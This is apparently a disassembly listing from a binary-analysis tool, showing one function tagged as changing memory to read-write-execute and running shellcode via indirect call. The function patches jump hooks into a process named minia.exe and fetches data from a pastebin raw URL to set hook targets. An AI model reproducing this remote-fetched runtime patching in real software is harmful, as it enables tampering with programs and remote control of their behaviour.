Function at 0x1003d5f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10042370
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x1004d040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.xxxxxxxxxxxxx
mov edx, 0x10048e4c
call fcn.1003cfb0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, eax
add esp, 4
test edi, edi
je 0x1003d685
lea eax, [ebp - 0x24]
mov ecx, 0x13f54fb
push eax
push 0x40
push 6
sub ecx, edi
push edi
mov dword [ebp - 0x90], ecx
call esi
mov ecx, dword [ebp - 0x90]
mov eax, ecx
sar eax, 8
mov byte [edi + 2], al
mov eax, ecx
sar eax, 0x10
mov byte [edi + 3], al
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
mov byte [edi + 1], cl
push 6
sar ecx, 0x18
push edi
mov byte [edi], 0xe9
mov byte [edi + 4], cl
mov byte [edi + 5], 0x90
call esi
xorps xmm0, xmm0
mov dword [ebp - 0x74], 0
push str.minia.exe
movq qword [ebp - 0x7c], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1003d6aa
mov edi, 0xff5500
jmp 0x1003d6c9
push 0xc
lea ecx, [ebp - 0x7c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov edi, dword [ebp - 0x7c]
add edi, 0xff5500
je 0x1003d704
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], 0x25d8
push eax
push 0x40
push 0xc
push edi
mov dword [ebp - 0x1c], 0x5cd800ff
mov dword [ebp - 0x18], 0xe0df0c24
call esi
movq xmm0, qword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
movq qword [edi], xmm0
mov dword [edi + 8], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
push 0xc
push edi
call esi
push 0x21
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
push str.https:__pastebin.com_raw_J7EGWL47
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x54], xmm0
call fcn.1003faa0
lea edx, [ebp - 0x54]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x3c]
call fcn.1003bc80
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x88]
push 3
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
push 0x10048e80
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x74], 0
call fcn.1003faa0
lea edx, [ebp - 0x88]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x3c]
call fcn.1003bec0
mov byte [ebp - 4], 1
mov edi, eax
mov ecx, dword [ebp - 0x74]
cmp ecx, 0xf
jbe 0x1003d7b7
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003d7ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003d880
push ecx
push edx
call fcn.1004098b
add esp, 8
lea eax, [ebp - 0x24]
push eax
push 0x40
push 6
push 0x13f550c
call esi
lea ecx, [edi - 0x13f5511]
mov byte [0x13f550c], 0xe9
mov eax, ecx
mov byte [0x13f550d], cl
sar eax, 8
mov byte [0x13f550e], al
mov eax, ecx
sar eax, 0x10
mov byte [0x13f550f], al
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
sar ecx, 0x18
push 6
push 0x13f550c
mov byte [0x13f5510], cl
mov byte [0x13f5511], 0x90
call esi
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x1003d841
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003d837
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003d880
push ecx
push edx
call fcn.1004098b
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp ecx, 0xf
jbe 0x1003d890
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003d886
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1003d886
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1004098b
add esp, 8
push str.xxxx_x_xxxxxxxxxxxx
mov edx, 0x10048e84
call fcn.1003cfb0
mov edi, eax
add esp, 4
test edi, edi
je 0x1003d8f6
lea eax, [ebp - 0x24]
mov ecx, 0x13f64fb
push eax
push 0x40
push 8
sub ecx, edi
push edi
mov dword [ebp - 0x90], ecx
call esi
mov ecx, dword [ebp - 0x90]
mov eax, ecx
sar eax, 8
mov byte [edi + 3], al
mov eax, ecx
sar eax, 0x10
mov byte [edi + 4], al
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
mov byte [edi + 2], cl
push 8
sar ecx, 0x18
push edi
mov word [edi], 0xe9fa
mov byte [edi + 5], cl
mov word [edi + 6], 0x9090
call esi
xorps xmm0, xmm0
mov dword [ebp - 0x74], 0
push str.minia.exe
movq qword [ebp - 0x7c], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1003d91b
mov edi, 0xff6500
jmp 0x1003d93a
push 0xc
lea ecx, [ebp - 0x7c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov edi, dword [ebp - 0x7c]
add edi, 0xff6500
je 0x1003d985
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], 0x200025d8
push eax
push 0x40
push 0xd
push edi
mov dword [ebp - 0x1c], 0x5cd900ff
mov dword [ebp - 0x18], 0x52ff2824
mov byte [ebp - 0x89], 0x10
call esi
movq xmm0, qword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
movq qword [edi], xmm0
mov dword [edi + 8], eax
mov al, byte [ebp - 0x89]
mov byte [edi + 0xc], al
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
push 0xd
push edi
call esi
push 0x21
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
push str.https:__pastebin.com_raw_J7EGWL47
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x5c], 0
movups xmmword [ebp - 0x70], xmm0
call fcn.1003faa0
lea edx, [ebp - 0x70]
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x3c]
call fcn.1003bc80
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x54]
push 2
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
push 0x10048eac
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x40], 0
call fcn.1003faa0
lea edx, [ebp - 0x54]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3c]
call fcn.1003bec0
mov byte [ebp - 4], 4
mov edi, eax
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x1003da2c
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003da22
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003daee
push ecx
push edx
call fcn.1004098b
add esp, 8
lea eax, [ebp - 0x24]
push eax
push 0x40
push 5
push 0x13f650d
call esi
lea ecx, [edi - 0x13f6512]
mov byte [0x13f650d], 0xe9
mov eax, ecx
mov byte [0x13f650e], cl
sar eax, 8
mov byte [0x13f650f], al
mov eax, ecx
sar eax, 0x10
mov byte [0x13f6510], al
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
sar ecx, 0x18
push 5
push 0x13f650d
mov byte [0x13f6511], cl
call esi
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x28]
cmp ecx, 0xf
jbe 0x1003daaf
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003daa5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003daee
push ecx
push edx
call fcn.1004098b
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
cmp ecx, 0xf
jbe 0x1003dafe
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003daf4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1003daf4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1004098b
add esp, 8
push str.xxxxxxxx
mov edx, 0x10048eb0
call fcn.1003cfb0
mov edi, eax
add esp, 4
test edi, edi
je 0x1003db60
lea eax, [ebp - 0x24]
mov ecx, 0x13f7500
push eax
push 0x40
push 6
sub ecx, edi
push edi
mov dword [ebp - 0x90], ecx
call esi
mov ecx, dword [ebp - 0x90]
mov eax, ecx
sar eax, 8
mov byte [edi + 2], al
mov eax, ecx
sar eax, 0x10
mov byte [edi + 3], al
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
mov byte [edi + 1], cl
push 6
sar ecx, 0x18
push edi
mov byte [edi], 0xe9
mov byte [edi + 4], cl
mov byte [edi + 5], 0x90
call esi
xorps xmm0, xmm0
mov dword [ebp - 0x74], 0
push str.minia.exe
movq qword [ebp - 0x7c], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1003db85
mov edi, 0xff7505
jmp 0x1003dba4
push 0xc
lea ecx, [ebp - 0x7c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov edi, dword [ebp - 0x7c]
add edi, 0xff7505
je 0x1003dbdf
lea eax, [ebp - 0x24]
mov dword [ebp - 0x20], 0x400005d8
push eax
push 0x40
push 0xc
push edi
mov dword [ebp - 0x1c], 0x86d800ff
mov dword [ebp - 0x18], 0x7b46
call esi
movq xmm0, qword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
movq qword [edi], xmm0
mov dword [edi + 8], eax
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
push 0xc
push edi
call esi
push 0x21
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 0
push str.https:__pastebin.com_raw_J7EGWL47
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x28], 0
movups xmmword [ebp - 0x3c], xmm0
call fcn.1003faa0
lea edx, [ebp - 0x3c]
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x54]
call fcn.1003bc80
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x70]
push 3
xorps xmm0, xmm0
mov dword [ebp - 0x60], 0
push 0x10048ebc
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x5c], 0
call fcn.1003faa0
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x54]
call fcn.1003bec0
mov byte [ebp - 4], 7
mov edi, eax
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0xf
jbe 0x1003dc86
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003dc7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003dd48
push ecx
push edx
call fcn.1004098b
add esp, 8
lea eax, [ebp - 0x24]
push eax
push 0x40
push 5
push 0x13f7511
call esi
lea ecx, [edi - 0x13f7516]
mov byte [0x13f7511], 0xe9
mov eax, ecx
mov byte [0x13f7512], cl
sar eax, 8
mov byte [0x13f7513], al
mov eax, ecx
sar eax, 0x10
mov byte [0x13f7514], al
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x24]
sar ecx, 0x18
push 5
push 0x13f7511
mov byte [0x13f7515], cl
call esi
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x40]
cmp ecx, 0xf
jbe 0x1003dd09
mov edx, dword [ebp - 0x54]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003dcff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003dd48
push ecx
push edx
call fcn.1004098b
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0xf
mov byte [ebp - 0x54], 0
cmp ecx, 0xf
jbe 0x1003dd58
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1003dd4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1003dd4e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.1004098b
add esp, 8
push str.xxxxxxxxx
mov edx, 0x10048ec0
call fcn.1003cfb0
mov edi, eax
add esp, 4
test edi, edi
je 0x1003dd98
lea eax, [ebp - 0x24]
push eax
push 0x40
push 9
push edi
call esi
lea eax, [ebp - 0x24]
mov dword [edi], 0x83c714eb
push eax
push dword [ebp - 0x24]
mov dword [edi + 4], 0x7ccc
push 9
push edi
mov byte [edi + 8], 1
call esi
push str.xxxxxx
mov edx, 0x10048ecc
call fcn.1003cfb0
mov edi, eax
add esp, 4
test edi, edi
je 0x1003ddd3
lea eax, [ebp - 0x24]
push eax
push 0x40
push 6
push edi
call esi
lea eax, [ebp - 0x24]
mov dword [edi], 0x83ff06eb
push eax
push dword [ebp - 0x24]
mov word [edi + 4], 0x7cdc
push 6
push edi
call esi
push str.xxxxxxx
mov edx, 0x10048ed4
call fcn.1003cfb0
mov edi, eax
add esp, 4
test edi, edi
je 0x1003de12
lea eax, [ebp - 0x58]
push eax
push 0x40
push 7
push edi
call esi
lea eax, [ebp - 0x58]
mov dword [edi], 0xc21815d9
push eax
push dword [ebp - 0x58]
mov word [edi + 4], 0x2f6
push 7
push edi
mov byte [edi + 6], 0xc3
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004085b
mov esp, ebp
pop ebp
ret